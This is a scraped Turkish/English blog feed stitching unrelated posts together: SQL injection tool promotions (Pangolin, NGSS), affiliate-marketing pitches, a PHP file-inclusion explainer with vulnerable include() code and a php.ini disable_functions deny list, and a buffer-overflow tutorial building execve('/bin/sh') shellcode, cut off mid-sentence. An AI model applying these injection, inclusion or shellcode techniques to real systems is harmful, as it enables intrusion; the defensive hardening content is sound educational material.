database servers to gain access to stored data. It currently supports the following databases: Access, DB2, Informix, MSSQL, MySQL, Oracle, Sysbase. Get NGSS SQL Injector.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-88246212248133538912010-07-08T16:40:00.000-07:002010-07-08T16:41:07.057-07:00Web Application Testing with Pangolin (Video & Screenshot)Here is another new video “[1] Web Application Testing with Pangolin” (1024×768).<br /><br />Similar to the previous video with [2] Matrixay I am using a chinese tool called Pangolin to extract the structure and content of a database (tables, columns, data) via a SQL Injection vulnerability in one of my vulnerable test applications.<br /><br />Pangolin is a free product but some of the versions of Pangolin on the web are coming with a backdoored libcurl.dll. This can be a dangerous side effect of using free tools in a company environment. You have been warned…<br /><br />Sometimes it is difficult to find a download possibility of Pangolin because the main website [3] www.nosec.org is currently under construction but if you search a little bit you will be able to find a copy (e.g. via rapidshare). More details concerning Pangolin is available [4] here.<br /><br />[5] Pangolin Web SQL Injection Tool<br /><br />Pangolin supports all kind of databases (Oracle, MSSQL, MySQL, Sybase, DB2, …).<br /><br />More videos can be found in our [6] video section.<br /><br />Dieser Artikel wurde ausgedruckt ab Alexander Kornbrust Oracle Security Blog: http://blog.red-database-security.com<br /><br />URL zum Artikel: http://blog.red-database-security.com/2009/03/05/web-application-testing-with-pangolin-video-screenshot/<br /><br />URLs in this post:<br />[1] Web Application Testing with Pangolin: http://www.red-database-security.com/videos/pangolin/webapp_testing_with_pangoli<br />n.html<br />[2] Matrixay: http://www.dbappsecurity.com/<br />[3] www.nosec.org: http://www.nosec.org/<br />[4] here: http://forum.darkc0de.com/index.php?action=vthread&forum=7&topic=5858<br />[5] Image: http://www.red-database-security.com/screenshot/pangolin.jpg<br />[6] video section: http://www.red-database-security.com/videos/oracle_videos.htmlKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-58308571857593684082010-07-08T16:38:00.003-07:002010-07-08T16:38:54.219-07:00AFFILIATE MARKETING NEDIR, NASIL İŞLER?Affiliate Marketing en çok rağbet gören internet işlerinden ve en kolay online para kazanma yöntemlerinden biridir. Bir Affiliate Marketing işine sahip olmak sizi hayal bile edemediğiniz bir servete götürebilir.<br /><br />Affiliate Marketing, tüccar ile web sitesi sahibinin kendi sitesinde, tüccarın ürünlerini bir hyperlink ile pazarlaması üzerine yapılan bir anlaşma olarak tanımlanabilir. Tüccar, web sitesi sahibinin sitesindeki linkin tıklanması suretiyle gerçekleşen satışlardan site sahibine belli bir % komisyon öder. Affiliate Marketing programları hem affiliate (katılımcı) hem de tüccar için her iki tarafın da çeşitli faydalar sağladığı bir kazan-kazan durumudur. Tüccar (ürün sahibi) bu yöntemi tercih etiğinde malının daha geniş bir pazarda pazarlanmasına ve başka reklam yöntemleri ile ulaşılması mümkün olmayan seviyede malın piyasada yer almasını sağlamaktadır. Affiliate katılımcı sayısı ve affiliate web siteleri arttıkça , daha fazla internet trafiği arttıkça satış miktarı da artacaktır. Öte yandan affiliate (katılımcı) ise sadece kendi web sitesinden tüccarın websitesine bir link yada banner koymak suretiyle bu yolla oluşacak her satıştan bir komisyon kazanmaktadır. Ürün hazır olduğundan affiliate(katılımcı)nın yapması gereken tek şey satış konusu ürüne online olarak potansiyel müşteriler bulmaktır.<br /><br />Affiliate Marketing en mükemmel evden para kazanma yöntemlerinden biridir. Böylece evinizde olmanın rahatlığı içinde online olarak affiliate işini başarılı bir biçimde yürütebilirsiniz. Affiliate programların birçoğunda başlangıç maliyeti bulunmamaktadır. Bu tür programların çoğunda harika pazarlama araçları ve teknik destek servisi bulunduğu için bu işe başlamak için tecrübeli olmanız dahi gerekmemektedir. Affiliate programların hemen hepsinde affiliate katılımcıya ücretsiz bir web sitesi de sağlanmaktadır.Ayrıca ürün stoku, ürünün satış işlemlerinin tamamlanarak alıcıya gönderilmesi gibi konularda da endişelenmeniz gerekmez çünkü bunların hepsi tüccarın sorumluluğu altındadır.<br /><br />Aşağıdaki banner'da Cashburners Affiliate Programından elde ettiğim kazanç gösterilmektedir. Cashburners' a ücretsiz olarak katılmak için banner'ı tıklayın.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-18108890066184675562010-07-08T16:38:00.001-07:002010-07-08T16:38:35.614-07:00Nasıl Affiliate Olabilirim?Affiliate olmak çok basit.<br />E-ticaret portallarının programlarına veya affiliate program network'une, reklamajans gibi üyelik formunu doldurarak başlayabilirsiniz.<br />Formda size kişisel bilgileriniz, isminiz,adresiniz ve tercih ettiğiniz ödeme seçenekleri sorulacaktır. Hatta sitenizin ziyaretçi bilgileri, profil bilgileri gibi sitenizin özelliklerine yönelikte sorular sorulabilir. Büyük ihtimalle bir şartnameyi kabul etmeniz gerektiğine dair de check boz olacaktır.<br />Onaylama hemen de olabilir bir kaç hafta da sürebilir. Affiliate program yöneticileri sitenizi inceliyor veya gözlüyor olabilir.<br />Siteniz onaylandıktan sonra, artık affiliate olarak pazarlama yapmaya hazırsınız demektir. Bunun için gerekli reklam araçlarını da zaten size reklamveren (iş ortağı) verecektir. Reklamaraçları textlink, banner(gif),html, pop-up banner ve flash banner olabilirKinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-73215538805885917272010-07-08T16:36:00.002-07:002010-07-08T16:37:22.533-07:00RFI-LFI Security - AKINCILARRemote File Include Attack Methods<br /><br />File Inclusion atakları, genel bir tabir olmasına rağmen çoğunlukla PHP mimarisi üzerine kurulu sistemlerde karşımıza çıkmaktadır. Gerek sistemi tasarlayıp inşa eden yazılımcının deneyimsiz oluşu, gerek PHP`nin yapısının güvenlik zafiyetlerine müsait oluşu ve gerekse yazılımcıların güvenlik tarafını hafife almaları, güvenlik açıklarıyla sık olarak karşılaşmamıza sebep olmaktadır ve File Inclusion atakları, hem remote olarak hem de local olarak yapılabileceği için iki türlü de sistem zarar görmektedir.<br />Sistemlerinizin zarar görmemesi için, göreceği zararı en aza indirgemek için bu atakların nasıl yapıldığını göstermeye çalışıp, korunma yollarından bahsedeceğim.<br /><br />File Include Açıkları Nasıl Oluşur?<br /><br />Yukarıda da bahsettiğim gibi, kullandığınız dilin mimarisi bu açıkların oluşmasına farklı nitelikte zeminler hazırlayabilir. Ama bu hususa en çok PHP yazılımcılarının dikkat etmesi gerekmektedir. Dilin mimarisinin esnekliği ve open source bir teknoloji olması nedeniyle, tüm yükümlülük yazılımcıya düşmekte ve yazılımcının sistem tarafında alacağı önlemler ile bu ataklar etkisiz kılınabilmektedir.<br /><br />Şimdi FI ataklarını mümkün kılan kodlara göz atalım;<br /><br />Files<br />$page = $_GET[page];<br />include($page);<br />?><br /><br />Burada görüldüğü üzere $page değişkeni veya değişkenin aldığı değerler hiçbir filtrelemeye tabi tutulmadan direkt olarak web sayfasına yönlendirilmektedir. (Kesinlikle Formlar ve QueryStringler arası geçişte kullandığınız değişkenlerden aldığınız değerleri filtrelemeden kullanmayın)<br />Kullanıcılar Files linkine tıkladığında index.php?page=file1.php gibi bir linke yönlenecek ve URL bu hali alacaktır. File1.php sayfası, index.php sayfasının kullandığı “page” parametresi üzerinden sayfaya include edildiğinden ve bu değişkenin aldığı değer kontrol edilip filtrelenmediğinden dolayı bu değişken üzerinden sisteminize yapılacak FI ataklarından, sizin açınızdan olumsuz olsa da, başarılı sonuçlar alınacaktır.<br /><br />File Include Atakları Nasıl Yapılır ?<br /><br />Senaryomuzdan devam edecek olursak;<br /><br />$page değişkeninin aldığı değeri kontrol etmediğimizden dolayı, bu değişkene istediğimiz her değeri atayabiliriz. Eğer sisteminiz bir *nix sunucu da barınıyorsa, çeşitli PHP fonksiyonlarını içeren dosyamızı değişkene atayarak sistemde PHP komutları çalıştırabilir ki bu Remote File Inclusion olarak geçmektedir. Ya da *nix sunuculara has komutları bu değişken üzerinden çalıştırıp, sisteminiz ve bulunduğunuz server hakkında kritik bilgilere ulaşılabilir ki bu da Local File Inclusion atakları olarak isimlendirilmektedir.<br />Ayrıca, ileri düzey FI yöntemlerine değinecek olursak;<br />- SecurePHP kullanan sistemlerde, FI zafiyeti bulunsa dahi HTTP protokolü üzerinden sayfalar include edilememektedir. Bu bir nevi geçici bir çözüm olsa bile, SecurePHP`nin yanlış yapılandırılması nedeniyle HTTP protokolü yerine FTP protokolü üzerinden sayfalar include edilebilmektedir.<br />- Ayrıca PHP5 kullanan ve FI zafiyeti mevcut olan sistemlerde, yerel ağ üzerinden herhangi bir bilgisayarın IP numarası yardımıyla, o bilgisayardan bir dosya include etmekte mümkündür.<br />Gelişmiş ve etkili olabilecek FI yöntemlerine değinmiş bulunduk, çözümlerinizi bu çerçevede geliştirmeniz atakları tamamen engellemenizi sağlayacaktır.<br /><br />File Include Ataklarından Nasıl Korunulur ?<br /><br />Açıkların nasıl oluştuğunu ve atakların nasıl düzenlenebileceğini kavradığınız zaman, yapmanız gerekenler şunlardır;<br />- Kullanıcıdan aldığınız verileri ve input alanlarını filtreleyiniz ve değişkenlere öyle atama yapınız.<br />- SecurePHP güvenlik sistemini kullanınız.<br />- php.ini yapılandırmanızı iyi yapınız.<br />- Server kullanıcı grupları permissionlarını ayarlamayı unutmayınız.<br /><br />Server üzerinde alınması gereken önlemler ?<br /><br />(Remote File Include) attacklarından kısmen korunmak için;<br /><br />"php.ini" yapılandırmasına geçmeden önce sunucumuzda bulunan klasör ve dosya izinlerini "chmod" doğru şekilde ayarlayalım. Genelde FTP programlarında dosya yada klasör üzerine "sağ click" yapılıp yada "file" seçeneğinden "Change Attributes ya da Properties / CHMOD" seçeneklerinden düzenleriz burada "permissions" altında yani izinler altında önerilenleri girmek en uygunudur.<br /><br />Klasörler için: 755<br />Dosyalar için: 644<br /><br />İzinleri bu şekilde ayarlamanız güvenlik için ilk adımı atmanıza yardımcı olur.<br /><br />"php.ini" yapılandırması:<br /><br />Eğer server admini iseniz yani root yetkilere sahipseniz bu ayarları serverda bulunan tüm siteler için yapabilirsiniz genellikle "/usr/local/Zend/etc/" , "/usr/local/lib/" altında bulunur "php.ini" dosyasını açarak düzenleyebilirsiniz veya "httpd.conf" dosyasının doğru yapılandırılmasıyla da olur. Daha sonra apache’ye restart atmanız gerekmektedir.<br />Root değilseniz sadece kendi siteniz için yapmanız gerekiyorsa kök dizininizde (public_html) bir "php.ini" dosyası oluşturarak veya varolan "php.ini" dosyasının içerisine altta verdiğim kodları ekleyerek güvenliğinizi sağlayabilirsiniz. Fakat sitenizle aynı serverda bulunan diğer sitelerden kaynaklanan açıklardan yararlanan kişiler root olmayı başarırlarsa burada anlatılanlar yetersiz kalır, root olmayı başaramazlarsa ve sitenizin şifrelerini kaptırmazsanız güvendesinizdir.<br />Altta anlattığım bilgiler iyi bir güvenlik için yapılması gerekenler olduğundan dolayı bunları uyguladıktan sonra bazı scriptlerinizin çalışması engellenmiş olabilir. Ama scriptin çalışmasını engelleyen değerleri iptal ederseniz script tekrar doğru şekilde çalışacaktır.<br /><br />Şimdi gelelim "php.ini" yapılandırmasına:<br /><br />"disable_functions" (Güvenlik)<br />"disable_functions" ile serverınızda birçok fonksiyonun çalışmasını engelleyebilirsiniz bu sayede sitenize inject edilen scriptler, sheller için güvenliğinizi almış olursunuz. Bu kadar fonksiyon fazla gelebilir ama iyi bir güvenlik için şart. Bu kadar sayıda devre dışı bırakılan fonksiyonlar ilk defa "*bir hainin sitesi*" adresinde verilmiştir.<br /><br />Önerilen:<br /><br />1-<br />disable_functions = foreach, glob, openbasedir, posix_getpwuid, f_open, system,dl, array_compare, array_user_key_compare, passthru, cat, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, escapeshellcmd, escapeshellarg, show_source, posix_mkfifo, ini_restore, mysql_list_dbs, get_current_user, getmyuid, pconnect, link, symlink, fin, passthruexec, fileread, shell_exec, pcntl_exec, ini_alter, parse_ini_file, leak, apache_child_terminate, chown, posix_kill, posix_setpgid, posix_setsid, posix_setuid, proc_terminate, syslog, allow_url_fopen, fpassthru, execute, shell, curl_exec, chgrp, stream_select, passthru, socket_select, socket_create, socket_create_listen, socket_create_pair, socket_listen, socket_accept, socket_bind, socket_strerror, pcntl_fork, pcntl_signal, pcntl_waitpid, pcntl_wexitstatus, pcntl_wifexited, pcntl_wifsignaled, pcntl_wifstopped, pcntl_wstopsig, pcntl_wtermsig, openlog, apache_get_modules, apache_get_version, apache_getenv, apache_note, apache_setenv, virtual<br />Eğer bu kadar fonsiyonu devre dışı bırakmak fazla geldiyse alttaki gibi de ayarlayabilirsiniz bu da güvenliğiniz için yeterlidir:<br /><br />2-<br />disable_functions = glob, posix_getpwuid, array_compare, array_user_key_compare, ini_restore, exec, proc_get_status, proc_nice, proc_open, allow_url_fopen, fin, pconnect, system, dl, passthruexec, shell_exec, proc_close, proc_get_status, chown, chgrp, escapeshellcmd, escapeshellarg, fileread, passthru, popen,curl_exec, shell, execute<br /><br />"safe_mode" (Güvenlik)<br /><br />"Safe Mode" adından da anlaşılacağı gibi "Güvenli Mod" anlamına geliyor. "Safe Mode" genelde birçok serverda "Off" durumdadır ve bu da birçok tehlikeye davetiye çıkaran unsurlar arasında yer alır. "Güvenli Modu Açık" durumuna getirmek shellerin serverımızda istedikleri gibi dolaşmalarını, exploitlerin çalıştırılmasını ve komutların execute edilmelerini önler. Günümüzde "açık olan güvenlik modunu" kapalı duruma getiren scriptler mevcut fakat altta anlatılan önlemlerle bunun da önüne geçilebilir.<br /><br />Önerilen:<br /><br />safe_mode = on<br /><br /><br />Not: Serveriniz de bazı scriptler de hatalar alabilirsiniz.Fakat serverin genel anlamda güvenliğini sağlamış olursunuz.Server da Root yetkisi alamayan hiçkimse sunucuya kolay kolay zarar veremeyecektir.Kinq-Bloghttp://www.blogger.com/profile/06490266554726095123noreply@blogger.comtag:blogger.com,1999:blog-6610910600694665876.post-56932029933907734232010-07-08T16:36:00.001-07:002010-07-08T16:36:47.518-07:00Buffer overflow SecurityBuffer overfl0w Security<br /><br />Bir degiskeni saklayabilecegi yerden daha fazla bilgiyle doldurmaya calisirsaniz karsiniza windows’larda gpf, *nix’de segmentation fault olarak cikan olay. input olarak girilen bilginin esp stack pointer’ina tekabul eden yerine yine bu inputtaki uygun memory adresi getirilirse makine uzerinde istenilen kodu icra ettirilebilir ki bu hackerlarin en cok basvurduklari yontemdir. bu makine kodu sistemde genellikle bir backdoor acmak icin yazilir, cogu zaman shell code olarak bilinir.Milw0rm,SecurityFocus gibi sitelerde shellc0de bölümlerinde bulunan exploitlerdir.metasploit yazılımıyla derlenip backdoor açmak içinde kullanılırlar.<br /><br />C dili dizi referansları üzerinde sınır kontrolü yapmıyor ve yerel değişkenler yığıt(stack) üzerinde o anki durum bilgisini oluşturan dönüş adresi ve frame göstericisiyle birlikte tutuluyor. Bu iki durumun birleşmesi yanlış ellerde ciddi hataların oluşmasına sebep olabilir. Öncelikle kütüphane fonksiyonu olan gets() nasıl çalışıyor bir göstermemiz gerekiyor.<br /><br /><br /><br />Quote: AKINCILAR<br />char *gets(char *s){<br />int c;<br />char *dest = s;<br />while ((c = getchar()) != ’\\\\\\\\n’ && c != EOF)<br />*dest++ = c;<br />*dest++ = ’\\\\\\\\0’; /* Terminate String */<br />if (c == EOF)<br />return NULL;<br />return s; }<br /><br /><br /><br /><br /><br /><br /><br />Görüldüğü üzere gets fonksiyonu ’\\\\\\\\n’ (yeni satır) veya EOF görene kadar standart inputtan girdiyi alarak s ile gösterilen yere girdiyi kopyalar, sonuna da "null" karakterini koyar. Bu sırada hiç bir sınır kontrolü yapmıyor. Şimdi gets() fonksiyonunu çağıran bergi fonksiyonunu inceleyelim.<br /><br /><br /><br />Quote: AKINCILAR<br />void bergi() {<br />char buf[4];<br />printf(“3 karakterden uzun bir string girmeyiniz:)”);<br />gets(buf);<br />puts(buf); }<br /><br /><br /><br /><br /><br /><br /><br /><br /><br />Bufferımız 4’lük olduğu için en fazla 4 karakter girebiliriz gibi görünüyor en başta. Ancak gets’in sona eklediği null karakterini de hesaba katarsak en fazla 3 karakter girebiliriz. Peki 3 karakterden fazla karakter girersek ne olacak? İşte bu durumu incelememiz gerekiyor. Yukardan aşağıya doğru adresin azaldığını düşünelim. Öncelikle kullanıcıdan alınan girdinin “123” olduğu durumu değerlendirelim. Yığıtın o anki durumu aşağıdaki gibi olacaktır. (1den 9 a kadar olan sayılar için ascii tablosunda verilen onaltılık tabandaki değerler 0x31 ile 0x39 arasındadır.)<br /><br /><br />Eğer girdi “1234567” olursa buffer 1234 ile dolacak , frame göstericisi ise 567 ve null karakterleriyle dolacaktır ve yığıt şu halde olacaktır.<br /><br />Yani buf[4] ’ten buf[7] ’ ye kadar olan tüm yazmalar frame göstericisinin (pointerının) değerini değiştirecektir. bergi fonksiyonun işi bittiğinde ve çağrıldığı fonksiyona dönülmek istendiğinde frame göstericisinin değerleri değiştiği için (az bir ihtimal kullanıcı frame göstericisi %ebp’nin değeri ile aynı değeri verecek karakterleri girseydi sorun olmayacaktı), yanlış bir çerçeve içinde bergi fonksiyonu kaldığı yerden çalışmaya devam edecekti ve fonksiyon içinde kullanılan tüm referanslar geçersiz olacaktı.<br /><br />Son olarak da “123456789” girildiğini düşünelim. Bu durumda yığıttaki buffer, %ebp ve dönüş adres kısımları ekrandan girilen girdiyle dolacak ve değerleri değişecekti. Yanlış bir çerçeveye geçilecek ve dönüş adresi de değiştiği için bergi fonksiyonunu çağıran fonksiyonda kalındığı yerden devam edilemeyecekti. Yüksek olasılıkla segmentation fault hatası alınacaktı.<br /><br />Boylece buffer doldu tasti, geri donus adresi de dahil olmak uzere hafizanin<br />bir kismini ’A’ harfi ile doldurdu. Bu programi derleyip calistirirsak,<br />"Segmentation fault (core dumped)" hatasi aliriz. Bu hatanin sebebi<br />genellikle programin kendine ait bellek kismi disindaki kisimlara erismeye<br />calismasidir. Core dosyasini, programin crash ettigi andaki hafiza<br />fotografi olarak dusunebiliriz.<br /><br />gdb ile olusan core dosyasini incelersek:<br /><br />[evil@victim evil]$ gdb -q ./e ./core<br />Core was generated by `./e’<br />Program terminated with signal 11, Segmentation fault.<br />#0 0x41414141 in ?? ()<br />(gdb)<br /><br />Gordugunuz gibi, RET instruction’i EIP register’ina ’AAAA’ ya karsilik gelen<br />0x41414141 adresini PUSH ettigi icin, bu adresteki instruction’a islemci<br />tarafindan erisilmeye calisilmis. Fakat bu adres prosesin erisim yetkisi<br />disinda oldugu icin isletim sistemi SIGSEGV signaliyla programin calismasina<br />son vermis.<br /><br />fonksiyon’u cagirdigimizda Stack’in gorunumu soyledir:<br /><br />| *str | EBP+8<br />|geri donus adresi| EBP+4<br />| saklanmis ESP | EBP ESP<br />| foo1 | EBP-4<br />| foo1 | EBP-8<br />| foo1 | EBP-12<br />| foo1 | EBP-16<br /><br />Biz strcpy()’yi cagirdigimizda buyuk_array, foo1 array’inin baslangic adresi<br />olan EBP-16’dan baslayarak, yukari dogru butun stack’i A ile dolduruyor.<br />Simdi, peki, geri donus adresinin uzerine yazabildik, o zaman o adrese<br />calismasini istedigimiz baska bir program parcaciginin adresini koysak,<br />fonksiyon geri dondugunde o program parcaciginin adresine gidip, ordaki<br />instruction’lari calistirmaya baslamaz mi?<br /><br />Cevap: Evet baslar. Mesela biz buraya /bin/sh calistiran bir kodun adresini<br />koysak, fonksiyon geri dondukten sonra /bin/sh calistiracak olan kod<br />calismaya baslayacak ve biz shell’e dusecegiz.<br /><br />Pointer aritmetigi ile, geri donus adresinin degerini degistiebildigimizi<br />soyle ufak bir ornekte anlatmaya calisalim:<br /><br />void fonksiyon(int a, int b, int c)<br />{<br />char foo[6];<br />int *ret;<br /><br />ret = foo + 12;<br />(*ret) += 8;<br />}<br /><br />void main()<br />{<br />int x;<br /><br />x = 0;<br />fonksiyon(1, 2, 3);<br />x = 1;<br />printf("%d\\\\\\\\n", x);<br />}<br /><br />Yukaridaki kodu calistirisaniz, x degerinin 1 olarak degil 0 olarak<br />basildigini goreceksiniz. Burada yaptigimiz sey, geri donus adresinin degeri<br />ile oynayarak, x = 1; komutunu pas gecmek oldu.<br /><br />Yukaridaki kodda daha once de anlattigimiz gibi, fonksiyon cagrilmadan once,<br />bir sonraki instruction’un yani "x = 1"e denk gelen instruction’in adresi<br />geri donus adresi olarak stack’e PUSH ediliyor. Fonksiyon cagrildiktan sonra<br />stack’in gorunumunu sembolize edecek olursak:<br /><br /><br />| a | EBP+16<br />| b | EBP+12<br />| c | EBP+8<br />|geri donus adresi| EBP+4<br />| saklanmis ESP | EBP ESP<br />| foo | EBP-4<br />| foo | EBP-8<br /><br />fonksiyon icinde bir integer’a pointer olan *ret, in adresini, foo’nun adresi<br />+ 12 olarak belirledik. Yukaridaki sekle bakarsaniz, foo’nun<br />adresi(ESP-8)’e 12 eklerseniz geri donus adresinin basina gelmis oluruz.<br />(*ret) += 8 yaparak da, o bolmede saklanmakta olan geri donus adresinin<br />degerini 8 aritiriyoruz. Neden mi? Kodumuzun assembler dump’ina bakalim:<br /><br />0x804849d : pushl $0x3<br />0x804849f : pushl $0x2<br />0x80484a1 : pushl $0x1<br />0x80484a3 : call 0x8048470<br />0x80484a8 : addl $0xc,%esp<br />0x80484ab : movl $0x1,0xfffffffc(%ebp)<br />0x80484b2 : movl 0xfffffffc(%ebp),%eax<br />0x80484b5 : pushl %eax<br />0x80484b6 : pushl $0x804851c<br />0x80484bb : call 0x80483bc<br />0x80484c0 : addl $0x8,%esp<br />0x80484c3 : leave<br />0x80484c4 : ret<br /><br />daki fonksiyon’a CALL yapilmadan once ne yapiliyordu? Bir sonraki<br />instruction’un adresi stack’a push ediliyordu. Yani stack’e diger<br />instruction’un adresi olarak (x = 1’in) 0x80484ab adresi PUSH edilecek. Fakat<br />biz burdaki instruction’u gecmek ve de direkt olarak 0x80484b2 adresinden<br />devam etmek istiyoruz. Aradaki fark da 0x80484b2 - 0x80484ab = 0x8.<br />Yani 8 byte’lik bir fark var. O zaman, stack’a PUSH edilen geri donus<br />adresini degerini 8 artirirsak, x = 1 islemini bypass etmis olacagiz. Iste<br />bu nedenle 8 byte artiriyoruz: (*ret) += 8;.<br /><br />Evet, eger retun adresin degeri ile oynayip, onu istedigimiz bir hafiza<br />bolmesine yonlendirebiliyorsak, o zaman, hafizada shell spawn eden bir<br />instruction’lar dizisi bulundurur, geri donus adresini de bu instruction’lar<br />dizisinin baslangic adresi olarak degistiririz, ve voila, direk olarak<br />shell’e duseriz!!!<br /><br />Peki o zaman, shell spawn etmek icin ne yapmali? En basitinden C’de soyle<br />olacaktir:<br /><br />#include<br /><br />void main()<br />{<br />char *shell[2];<br /><br />shell[0] = "/bin/sh";<br />shell[1] = NULL;<br /><br />execve(shell[0], shell, NULL);<br />}<br /><br />execve(2)’yi okursaniz, execve system call’u calistirilacak dosya ismine<br />pointer, arguman pointer’i ve de NULL da olabilen bir environment pointer’i<br />aliyor. Bu kodu derleyip calistirirsaniz:<br /><br />[MnmL@victim MnmL]$ ./s<br />bash$<br /><br />baska bir shell spawn etmis olursunuz...<br /><br />Fakat biz "shell spawn eden programimizi" boyle cagiramayiz, oyle degil mi?<br />O zaman bunu makinanin direkt calistirabilecegi instruction’lar dizisi haline<br />getirmek lazim. Yukaridaki kodumuzu gcc’ye --static parametresi vererek<br />derleyip, assembler ciktisina bakalim:<br /><br />[MnmL@victim MnmL]$ gcc --static -o s s.c<br />[MnmL@victim MnmL]$ gdb ./s<br />(gdb) disas main<br />Dump of assembler code for function main:<br />0x8048124 : pushl %ebp<br />0x8048125 : movl %esp,%ebp<br />0x8048127 : subl $0x8,%esp<br />0x804812a : movl $0x80592ac,0xfffffff8(%ebp)<br />0x8048131 : movl $0x0,0xfffffffc(%ebp)<br />0x8048138 : pushl $0x0<br />0x804813a : leal 0xfffffff8(%ebp),%eax<br />0x804813d : pushl %eax<br />0x804813e : movl 0xfffffff8(%ebp),%eax<br />0x8048141 : pushl %eax<br />0x8048142 : call 0x804ca10<br />0x8048147 : addl $0xc,%esp<br />0x804814a : leave<br />0x804814b : ret<br />0x804814c : nop<br />0x804814d : nop<br />0x804814e : nop<br />0x804814f : nop<br />End of assembler dump.<br />(gdb)<br /><br />Yukarida kisaca, ve de procedure prologue goruluyor,<br />-- char *shell icin gerekli 8 byte stack pointer’dan cikiliyor,<br />-- "/bin/sh" string’inin adresi EBP - 8’e yani shell[0]’a konuyor<br />- 0x0 yani NULL EBP - 4’e konuyor<br /><br />simdi de sirasiyla argumanlar bir sonraki fonksiyon (execve) icin stack’a<br />PUSH ediliyor...<br /><br />- 0x0 (shell[1]) PUSH ediliyor<br />- shell[0]’daki "/bin/sh" in adresi EAX registirina konuyor<br />- EAX stack’a push ediliyor, (dolayisiyla shell[0]in icindeki<br />efektiv adres)<br />- shell[0] in adresi EAX’a kopyalaniyor,<br />- EAX gene PUSH ediliyor<br />- execve() cagriliyor...<br /><br /><br />Simdi de execve’nin assembler dump’ina bakalim:<br /><br />(gdb) disas __execve<br />Dump of assembler code for function __execve:<br />0x80002bc <__execve>: pushl %ebp<br />0x80002bd <__execve+1>: movl %esp,%ebp<br />0x80002bf <__execve+3>: pushl %ebx<br />0x80002c0 <__execve+4>: movl $0xb,%eax<br />0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx<br />0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx<br />0x80002cb <__execve+15>: movl 0x10(%ebp),%edx<br />0x80002ce <__execve+18>: int $0x80<br />0x80002d0 <__execve+20>: movl %eax,%edx<br />0x80002d2 <__execve+22>: testl %edx,%edx<br />0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42><br />0x80002d6 <__execve+26>: negl %edx<br />0x80002d8 <__execve+28>: pushl %edx<br />0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location><br />0x80002de <__execve+34>: popl %edx<br />0x80002df <__execve+35>: movl %edx,(%eax)<br />0x80002e1 <__execve+37>: movl $0xffffffff,%eax<br />0x80002e6 <__execve+42>: popl %ebx<br />0x80002e7 <__execve+43>: movl %ebp,%esp<br />0x80002e9 <__execve+45>: popl %ebp<br />0x80002ea <__execve+46>: ret<br />0x80002eb <__execve+47>: nop<br />End of assembler dump.<br /><br />Ilk uc satir, procedure prologue:<br /><br />0x80002bc <__execve>: pushl %ebp<br />0x80002bd <__execve+1>: movl %esp,%ebp<br />0x80002bf <__execve+3>: pushl %ebx<br /><br />Syscall table’daki execve’nin numarasi olan 11’i EAX’a kopyaliyoruz.<br />(farkli system call calistirmak isteyebilirsiniz, system call’un numarasini<br />/usr/src/linux/include/asm/unistd.h dosyasindan ogrenebilirsiniz. Farkli<br />system call’lari kullanan daha egzotik shellcode’lari sonraki dokumanlarda<br />bulabileceksiniz)<br /><br />0x80002c0 <__execve+4>: movl $0xb,%eax<br /><br />"/bin/sh" in adresini EBX’e kopyaliyoruz:<br /><br />0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx<br /><br />shell[]’in adresini ECX’e kopyaliyoruz:<br /><br />0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx<br /><br />NULL pointer’in adresini EDX’e kopyaliyoruz:<br /><br />0x80002cb <__execve+15>: movl 0x10(%ebp),%edx<br /><br />ve, kernel mod’a geciyoruz:<br /><br />0x80002ce <__execve+18>: int $0x80<br /><br />Simdi de, exit() icin gerekli assebmly kodlari:<br /><br />(gdb) disas _exit<br />Dump of assembler code for function _exit:<br />0x800034c <_exit>: pushl %ebp<br />0x800034d <_exit+1>: movl %esp,%ebp<br />0x800034f <_exit+3>: pushl %ebx<br />0x8000350 <_exit+4>: movl $0x1,%eax<br />0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx<br />0x8000358 <_exit+12>: int $0x80<br />0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx<br />0x800035d <_exit+17>: movl %ebp,%esp<br />0x800035f <_exit+19>: popl %ebp<br />0x8000360 <_exit+20>: ret<br />0x8000361 <_exit+21>: nop<br />0x8000362 <_exit+22>: nop<br />0x8000363 <_exit+23>: nop<br />End of assembler dump.<br /><br />Yukadida da, ozet olarak, EAX register’i syscall table’da exit’in karsiligi<br />olan 1 yapilip, EBX’de 0 yapilip kernel mode’a geciliyor.<br /><br />Evet yukaridakileri soyle bir ozetlersek, yaptigimiz sey, stack’a shell[0],<br />shell ve NULL PUSH edip execve’yi cagirmakti. Sonra execve "/bin/sh"i<br />calistirdi. Yalniz dikkat ediniz, execve’nin icinde yapilan isler tamamen<br />Linux-specific’tir. Linux, kernel moduna gecmeden once gerekli olan seyleri<br />register’lara koyar ve sonra da kernel moduna gecer, eger isletim sistemimiz<br />FreeBSD olsa idi, execve bu parametreleri gene stack’a koyacakti...<br /><br />execve’nin calismasi icin gereken sartlar:<br /><br />1. Hafizanin bir yerinde "/bin/sh" stringini bulundurmak,<br />2. "/bin/sh" in adresini ve arkasindan bir adet null long word bulundurmak<br />3. system call table’da execve’yi tanimlayan 0xb (11) degerini EAX registerina<br />koymak<br />4. "/bin/sh" in adresinin adresini EBX registerina koymak<br />5. shell’in adresini ECX registerina koymak<br />6. null long word’un adresini EDX registerina koymak,<br />7. 0x80 ile kernel moda gecmek.<br /><br />Iste bu kadar, yalniz execve’de bir sorun oldugunda programin smooth exit<br />yapabilmesi icin bir de buna exit() system call’unu eklemeliyiz, ama bu<br />zorunlu degil. Bunu yapmayip shellcode’unuzu kisaltabilirsiniz.<br /><br />exit() calistiran bir programi assembler koduna baktiginiz zaman, exit<br />syscall’unun da kernel moda gecmeden evvel, EAX registerina 0x1 (1) ve<br />de, EBX registerina 0x0 (0) istedigini goreceksiniz.<br /><br />O zaman 7. den sonra 8, 9 ve 10. adimlarimizi da 